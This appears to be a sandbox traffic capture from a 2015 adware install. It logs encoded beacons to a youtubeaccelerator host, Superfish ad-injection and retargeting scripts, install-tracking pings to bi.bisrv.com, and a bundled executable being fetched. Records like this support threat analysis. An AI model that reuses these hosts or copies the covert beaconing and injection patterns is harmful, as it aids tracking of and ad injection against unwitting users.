GET /app/ping.ashx?e=bNFVvuIwcz4aXrHZgA5m3xUhutYh79jv3Pumfblmu5B9EKWfiY9Pr9w9nGpQKxy7XNTRnwhCuR7 w54tsebgskPQ8F7SrDab/EmjUQkbJhE8p7C9xhBPU6a0yRzcJ0yb8cm9dOD9qQIA7ezX8WZgWM7a8MPvRSFp ceFAG3lI3nDtFzkcx43pfkIt A1fNYZvQAY7labZ/L/Gp5D/J/XcqyrehRRRow5j8HEnk34z92MM1rQPB7y4Tv2kKrfAiRLZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmC3hPceosn9U7oJPbo3A23YQ7ThJqxM9xchHWwrE8V1NxbQwCDWyhFWgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPE/Rh6jjkLn1EQJzl1KqpQA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:05 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Thu, 12 Feb 2015 05:33:05 GMT..Content-Length: 0....
..


GET /app/ping.ashx?e=M7A8vgjJHrj4MZomVx105Z6nErJlI PfsXg2Ujmg/gRP XtorcoTKgxB9pWV4xt1IE3xXY68lVv0XfOKUZXMM/7Dni2x5uCyQ9DwXtKsNpv8SaNRCRsmETynsL3GEE9TprTJHNwnTJvxyb104P2pAgDt7NfxZmBYztrww 9FIWn5x4UAbeUjecO0XORzHjel Qi34DV81hm9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLhO/aQqt8CJEtnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYLeE9x6iyf1Tugk9ujcDbdhDtOEmrEz3FyEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufW5ieW9E NT0 HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:08 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Thu, 12 Feb 2015 05:33:08 GMT..Content-Length: 0..



GET /ws/sf_code.jsp?dlsource=viktczu&userid=a808235d-2e33-63b7-f57c-3a35b2c1abef-2de&partnername=pelmmbomol&CTID=xUSIF2Cwsmtycl&ver=2015.2.11.10.1 HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.superfish.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:34:02 GMT
Content-Type: text/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: JSESSIONID=B76480CEF2A176B6D17CD2A470625861; Path=/ws
Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT
Cache-Control: public, max-age=2592000
Access-Control-Allow-Origin: *
Content-Encoding: gzip
600a...............r$G....4.w..\#.&..Z..]V...]s....)..F........X.H0..z
.;32...42I#...oez.}.[..?.....Pd7mL...d,...?.9..)G."IG;.?~....>.....
.\%.(....."..........Gy2L.a6...l..A. O..|.W.....{WWW.y9..N.......U~o..
.............re.gIt.Z........~...P8..9.r.a..I....A.i]dg...z*...%."...:
:=8|x...........}.....G...OB{......M..P,...M..A..Y;f..,.....#V....u5.b
.-|txpr.....y.<.<..2.j........l..c........k'.o] .6.rr....#8...5.
ZX..}t...C.F_g....u.ex}.M.. ..In.N....V~/J/.{G.g.G......&...0LF.dGW@u.
5I.E...u..nq...y)....u;.EX....iV..-.5...m.Y..^..../.z.|.c.......0..I..
...}r.W.(,}.^<... ..Pw?Fq;.....G#...o.........7..aX.{...l.g...*...x
.....t... 8<...GQ..C{...).e.?>....|..\.(.S9....>.........._=.
t.....Q..._......`z.......c..6.'e1.....o^?...%.Gz6......!..v:*@....{..
.a.....O#..^....geQ...q...y..tRP..Q...AQ?.2..V8.l...gp>...._a...K."
p...1....8..E...A;.C.._..(Gq.n8.T....k...,.{..p.o.v/.....pz......8..._
j....$...x.N=r.v.".b5.f..0..O.kx.`..m..[?}.~s/n..u.3..-.$#....f}.9..hq
.....H....r@..[...?.....6.....,a....l.....,.._8.......~.x......G....^5
.V....Z/....M.~=.../~....W.i./...P....(./?....X...Zc9|.W..._m,...c.no.
x....'.....O.`d....n.......t..=...O..d..M....|..8..\-4.y.....?......R.
...lAk2...xQ.2.....V.-79.........&w..V'...RK;........:,.....v..C..}Wj.
...x0..q..Gi6..- .....x..P....2..i.KZ.=..IZ..)...}Q.^..(.g...A..'..ya.
nR.#.<...=........Fiw.8~n..a..........".$q._......5T_0F.eU.[..".\=.
..$....n. ]D..xP...]7.Y.....I....7.p.e}}...z?KK..N6/A...?..q.....i:fM]
..p|..n.Z.f..O.]u... .'.u.....7CW.GiYXK.rP.r..M2....t.w..x. l.....
<<< skipped >>>

GET /ws/slideup2/main.js?ver=2015.2.11.10.1 HTTP/1.1


Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.superfish.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:34:03 GMT
Content-Type: application/x-javascript
Last-Modified: Tue, 10 Feb 2015 10:42:13 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Sun, 08 Mar 2015 05:34:03 GMT
Cache-Control: max-age=2073600
Cache-Control: public
Access-Control-Allow-Origin: *
Content-Encoding: gzip
1069.............[[o...~V...qj... )h.(..[.....Z......rV..%.. Yq....3..
...Z.m...%..9.....U9....7....._m\..8 .L.jq...l#/..O..w...EZ.r..7..d...
..L.....eZD..%......p(.....x^.M.....\..?.;.l.......}C..ry}H....V......
*z...x.yS..l..:...{.*0.hi.u.......,5..y.....<...../.....].F]5.i#.9.
...1c4f...Z.Wyc..]..q.1.........^........_...]..:B.i=.v.........._.N(.
.r.......!...R..i8.Fd.........a..r.zv.kq0f.W..2o.^$.D....Z...HD....w..
x...........N.V..rS....s.......{_.x..Y{.....&.I......m.d5./;Z./."m...V
..MV]^..d...s,|......b......#.....t1?.D.R..d...j.A/.....eR....dI..E.'_
..H.....}......j.#.]I...7.=....AO...j......d...E.=.=|^.R.8.J....p.{...
..gx.[.....d.0".C..;.VM9.....FHW..R^.kq..Y...h.E.)/qc.R.d.A......c%...
..k..f%..!..^u#.............g:x..a.s..... ..>........=).U...)......
GT.yE.....IH..I}.........\^.1>.;..ae....kF..\..9".-.....g.[..N0....
...p.`....:..<<'..Lr.......O...M\.3...&.....Y#..........Ib.S&.)h
.<&..G.2bW..K..q.....x7..-...W..T.......%LR#?...%.A.D.&8O..]...Y.je
.4........}~cp...Fy.-B.#.7............Z....r.Q.on.$&.....VM..i.d.G.&Ck
...;En.E...deY5_-Q_$......."..j..\;.S..C......<...ED$.r5`...Eo\...q
^.....l...G".....hG|[email protected]..`..F.l..Y.......".sRg.$..."m.X.S&cL.[Y.H.
.Ul.<....i....6.0[d......7Mu..#..K.|....#h.:...U...b(..........  .S
.e0|...2x. .k..$..*.JQ...i.....q.;k].m.`.......L.EU5q.x...\..R.IZ.`L.d
.U)R.>.E!.7..|..o:s.t.....AMK.J.S...5..N<DLq......P..kc].*..,.. 
.......e^..8.J0..X.h]..MK.Nn...j......K8....s).....*{.dGq..)`.0..~...&
gt;.f...Q.a.Z.![k......[..$.../..&%.D..k..sn.QLV]5........8..(....
<<< skipped >>>

GET /ws/getSupportedSitesJSON.action?ver=14.11.12.1&callback=SF_isURISupported HTTP/1.1


Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.superfish.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:34:05 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Fri, 12 Jun 2015 05:34:05 GMT
Cache-Control: max-age=10368000
Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT
Cache-Control: public
Access-Control-Allow-Origin: *
Content-Encoding: gzip
600a..............Ys#G...W..p.......=.K..9.......)[email protected]@............
...q.M*.*.k....=..?......e.Z..r.......`^.g.._.N.E./.?.......i.n..t....
?}.....>}.....i]...&[_.......4.6i>....a.....t.}... .q.#...Y9....
M....=...?~.<..t.....;....x...Y..GY....[.....0.A:...r..H...X...o..2
{,..O`?".4H....r....f..r.....!.... .\..).F|.w~..,...y......u.i9.x..@..
4/G.Sv.o.=.n^&'`4.b9.N..8].X...K..M..'......r]../.=`..E9.%.8.O...6Z...
.e.......y.Z..z.z..l.Hj.....3P..^......'.%gO..u.Y......M.7.........!..
.4..6..(..l..J..............~...AYl..zZ.\..x.D.".}...zS..K.!N...s.uI.N
.....5L.U...*y..... ....b......l........Z'}=*....bd[]C..,.k?..\...M...
........l.)..<..V....X..Tf..|....mY=..........1.%;.....oPi..0.-.$..
=>..X..o/[email protected].&8. .Xd/..b.....P..0.X...i....K...._..CJN..
........|5..p.3{DMp.............p.A...j8[.\.....n.k.b..t.J...o....H..M
....j......._=..=T .C..jTLf.r..}{......1.M6[o.s^?.=...N=.k..=.<.p.V
.b.;W...s..3...........E....=.;J.G..p.1...l...q.n.!.$`..l..:u>.W..;
...y...Q...kL....v....^...2{..x.....GjV......2.n=.f..7...:...ug.U.9...
...g.3.urW.5.t...<d........  ;(H.....;.F.....,.KH.j..Y.2*..<._)Y
...TVe^..f....G^...ONw..*...f:.|../...W..6.'<LOl...x..I.S..e.......
I.B.:..Q..3..v...<.F..}5...x...H..U....X.D-E...C.t..C1..\J5^....t.&
lt;....'.h......$.s....h..x...(/.r..v#.n.bS.S.S.[...y>.n.e......`..
..U.......Jt.l...q....`[email protected][email protected].~..
.Q....T.>oP...=.2m..g..j.='....k..87589.hL.......i....X.c..X.u....m
...P....(]....*......f......*.Q-<....B.k.....t.<.r..J./...Z.
<<< skipped >>>

GET /ws/retargeting/main.js?ver=2015.2.11.10.1 HTTP/1.1


Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.superfish.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:34:07 GMT
Content-Type: application/x-javascript
Last-Modified: Tue, 10 Feb 2015 10:42:14 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Sun, 08 Mar 2015 05:34:07 GMT
Cache-Control: max-age=2073600
Cache-Control: public
Access-Control-Allow-Origin: *
Content-Encoding: gzip
769.............XMs.6.= 3...'.Q.......i.f.m.....<.."A..D..hY.......
E......9.".,..o.>..# .R..1.l.g..p...'.)c...}|.h.d....M.......wy...y
...1[..4..s%..|).k.....[..#...w1...H'.v.._.8.Z u}T.5xu...#k.d....V.u.0
 .E#..d.X.?T...:a9N.-.]..0d...b...#[email protected][.b.N..p.......;.j!J.4.3.`&.
.=g.C...M<..36.`.0"......ho...nM..\Y.........r......u..q....r..R..!
..RY........|6.-R).........................._.c.k..xo..S..)}|fD.......
v.<Z.LZNq.\\;...`.F..jm].7.`..K.~...'F/p..Em.H^..LF&.0.s..By.P&. {4
..0.v....%L..JQ#...`77@\X..z.b.......rq..._..'.B..^......9........e.6.
...:...'.#B..`.d...........Up.W.......F[..R.O.V.b.-d.f.;{l&.t......}..
.Ns...i....k...U.PI.TZ..qp.R......o..:H)...J....<u.k.....G..iZ.h>
;9......0(q..1..vt.s..V..........6Q..3.Bpy.k.v.2Pn......\.f...#6..3.h.
..w. ...,qh..By|*.[~...y.Y.[...g.>&.a%...k>.>.a......p....&&g
t;[email protected]...&.)7.....E.....|M,......J...q%...}c.<.tbf...-..}-.L...
;...4..r.........J.8Y........Oy.$.........T....&g.K[%mAq...h.....lDev&
A...R..^`\.y...-/.....U..e.`..'#H.P..:X.....;..oR..F|....z._.71Rwn.15A
.t=x..M.d@I...%..#..q1....=.....?#..t>[email protected]..?zD..v...].ti..P.:...Z
r.......j!<y,...WH.uj(.\OJ..;k..:U.M...l..../DaG...wEM...../......w
.D../....k:...(<>..=..=.m4].[..dH...~F.........zd.kA.<~.j.da.
..Q..4!O.z.d...(..pj.q...T.An..l.{B6..........(.i=..:9.yN.'b*.1s.[....
.....7.Lo......'.=4..7..6`r.=.....^..^.H.8[,.|..T...|b....K...........
{i.vHn....Vg:.;?.q1.;..;@/....7..[G"..5K.O.b..bu..I..7..S.!.p."....}.5
Uv.w............}...Y.s.].].:.#..]........<#l..pq..c...>.%.5
<<< skipped >>>

GET /ws/retargeting/server_layer.html?dlsource=viktczu&userid=a808235d-2e33-63b7-f57c-3a35b2c1abef-2de&CD_CTID=xUSIF2Cwsmtycl&version=2015.2.11.10.1&pageUrl=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&merchantName=youtubeaccelerator.com&appDomain=http://VVV.superfish.com/ws/&browser=ie10&imageDomain=http://static*.superfish.com/images_np/shared/sys_v2/images/&country=UA&language=en&tier1_bucket=&tier1_curr_group=800&tier1_next_group=858&tier1_prev_group=766&tier2_bucket=2015w04_auto_open_initiated_until_click&tier2_curr_group=343&tier2_next_group=321&tier2_prev_group=909 HTTP/1.1


Accept: text/html, application/xhtml xml, */*
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.superfish.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:34:08 GMT
Content-Type: text/html
Content-Length: 169
Last-Modified: Tue, 10 Feb 2015 10:42:14 GMT
Connection: keep-alive
ETag: "54d9e086-a9"
Expires: Sun, 08 Mar 2015 05:34:08 GMT
Cache-Control: max-age=2073600
Cache-Control: public
Access-Control-Allow-Origin: *
Accept-Ranges: bytes
<!DOCTYPE html>..<html>..<head>..    <title>Re
targeting module server layer</title>..    <script src="serve
r_layer.js"></script>..</head>..<body>..</body
>..</html>......


GET /ws/retargeting/server_layer.js HTTP/1.1


Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.superfish.com/ws/retargeting/server_layer.html?dlsource=viktczu&userid=a808235d-2e33-63b7-f57c-3a35b2c1abef-2de&CD_CTID=xUSIF2Cwsmtycl&version=2015.2.11.10.1&pageUrl=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&merchantName=youtubeaccelerator.com&appDomain=http://VVV.superfish.com/ws/&browser=ie10&imageDomain=http://static*.superfish.com/images_np/shared/sys_v2/images/&country=UA&language=en&tier1_bucket=&tier1_curr_group=800&tier1_next_group=858&tier1_prev_group=766&tier2_bucket=2015w04_auto_open_initiated_until_click&tier2_curr_group=343&tier2_next_group=321&tier2_prev_group=909
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.superfish.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:34:08 GMT
Content-Type: application/x-javascript
Last-Modified: Tue, 10 Feb 2015 10:42:14 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Sun, 08 Mar 2015 05:34:08 GMT
Cache-Control: max-age=2073600
Cache-Control: public
Access-Control-Allow-Origin: *
Content-Encoding: gzip
10ec.............[ms.6.....?..^)..e;i{...$N_|Mj....F.ih...P........{v.
....v.....?X$.,..}..*...Q...(...T.W"...E.......?......0.......P...(...
w...|_5.e......h~".,.b..\.M..x...v...(K.2LK9B....Du.f3.....B.y......#.
..............4\....$...3.:..'azI.;.y.l..q.(VI..*aEs..;...U.Ga.g..7[..
=......Q .y..8.f.A8.~.%..e\."...L.....1..o!."....^9.. Jb.{%...lU.<.
.l}.<.z.0)..;..A.X?.|..:0(.0.3.w..c. ..Z....D...g .....,=j..!1..>
;..~ .e...M..?..."N.|.g.UT.......e..Wa.N....N.~..2.$..u_a....}.:....&K
....)x..4..0..-.mh.......G..y.]."/..A....Yo_2.2...Z.r?.$'...kP.....;.s
...Z.5..../c..L.X....o....=v...o0(OQ..!N.S=.%.KX.S.A......\.k%.h=y8..a
..z`.....y.......y..)..$*..;,....a..Z....?...o.G.,g..=$.8L...;.q..}...
o{.y..X...<HDzY......b.......cY..<X.l......v..n..xY...q...^."..;
.........5.O...5.-.......!.4.\#HD2.GO......I1...........<!?}d..>
......(Wyj.J....'....9n.:.0..].h.}.U...G..%..-.a...Qr3.H.A.>..(...;
.V$..v...q....5.T.d....^.j.`.....J-.&...H.H...R.~....,.$5..A.b...)."..
..6:.f'#(%..gi.Wd.r.n..4..z/`^......y.X.......[.......zc....C.........
.....=j.GZ..-#S.G.<.\..jY.I.........V.#.kw...;i........s;....P.....
t...W.....O..*,...=xD..te.........m....m`..[Jk-...N............9~.n.d.
..b..7..a..G...l;.6.m..O.Z.oXF.\.s7lbO....K0.....Q4.....%e.(...D.?.v..
......$......i.......=.CD#n.]..t......(..1.v.f.........C.*............
..eNZ.`-S.wm.5 ...Fc9C...<B4....."bD.Fh[..-.al.....h..DE......../..
E....4Z......`B2=.T..d.5.n..D...f....D..A.$....Lit.\..f.<.KB....1..
>..m...W....BK6H.[.6' ..2....C."...z)...#;.E]........^..."...j.
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.23910210934334758 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:07 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 05:32:07 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=2&index_in_screen=1&index_in_session=2&0.6368685965386823 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:12 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 05:32:12 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=214170-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 71388
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 214170-285557/285558
Age: 182
X-Cache: Hit from cloudfront
Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 1QMuhkE1PuekxeB5zMdNORsUtPpfoXv4ZtmHaIyIbK9KoFcRCuzMAg==
a...:X.h0...d...,Q..b:..... <o..^..z.nI...n..b..3........$.#....k..
m...L:M..^..b..j.*G.:c'^T... .k..|..?D...c....\..P.}[email protected].
...x.X..7.[.f...!......g...)aT......k.....1..K.....ou74.U..#.k3-...N..
.....t....u8n.7.c.2..7J... ...h..s......[.V..44.a..<.- .....x..O2oZ
*...u.....oY...T..k..r. z'._GC..B.W.9&1......'.~/].2 v~..:f.=.x<0.}
.e3F/5..b..<!..H...1)......V~G...7.........A..1VS..s.!6.k.J6...h.o.
..8..A^[email protected]>.[.Z...I..P..................Y..... .I."....s....6
d..<F-..[....\]^... C4w>..'j$.qT........J .{..\....X>........
......|EU.*................c..Q.<......Mk..%....1c...8.g:...=.d'.R.
..Im,O.o$..Q.....O..fS43.(...`..........M.s...Rx..[.|:...&.^.....c....
..)...>.6.C4c".%..O..r.Cg.........|._...9..m.h.6.;.Y.L.~).M..]A\...
e.u`...U....s.X....m.....1y|.....k......~..uEi.$...J..pK.:Xt.....z9.bu
*...1:.C....`.]..N.oR.....0..(.5U!.*....$.......3t.0..Vd6..H....6.9N,.
...)T....e.h.."..N6..nUE.......Z..d.........&.....`..1..............b9
..K..g..9Md...K...6q.?...MU.GW.c.C..Ppfw..u.{.."..]....wf|k./(BX......
V...p>...'.;..(..Q.....9.:...R.v";...zv\;..Ow.2...7.~.IT.D..mu.k.OG
w....<U.....x.. ...i.....W.5|w.#....DR.w.}..r......D...^Y..v.... 05
...K.:.{..}Q...t.Y......P..#Hl....2........&c.....C.*...D....l...v.K.v
D.wC..vK4..W.P.).X.....Z..;V2......,j....q./.q.i..d.........\..F.._a..
.U....T...m...d.....>....{z.tf.T..%...5.. NF.......).....:.b,..O.Yq
.....u/oT<.`[email protected].|T..mVLY.......C(
E.....F...e|...hu.\.\. .....~ ..Fi>..M.;..f.U$..!.&6 Y......s..
<<< skipped >>>


GET /pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=appshat_madness&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=4&index_in_screen=1&index_in_session=4&0.7989408640176291 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 05:33:54 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE HTTP/1.1
Accept: text/html, application/xhtml xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=UTF-8
Location: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:56 GMT
Content-Length: 403
<head><title>Document Moved</title></head>.<
;body><h1>Object Moved</h1>This document may be found &
lt;a HREF="hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9
.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&am
p;VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=
Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&Bu
ndleID=NONE">here</a></body>HTTP/1.1 200 OK..Content-Ty
pe: application/x-javascript..Content-Encoding: gzip..Last-Modified: T
ue, 10 Jun 2014 08:53:03 GMT..Accept-Ranges: bytes..ETag: "80416563898
4cf1:0"..Vary: Accept-Encoding..Server: Microsoft-IIS/7.5..X-Powered-B
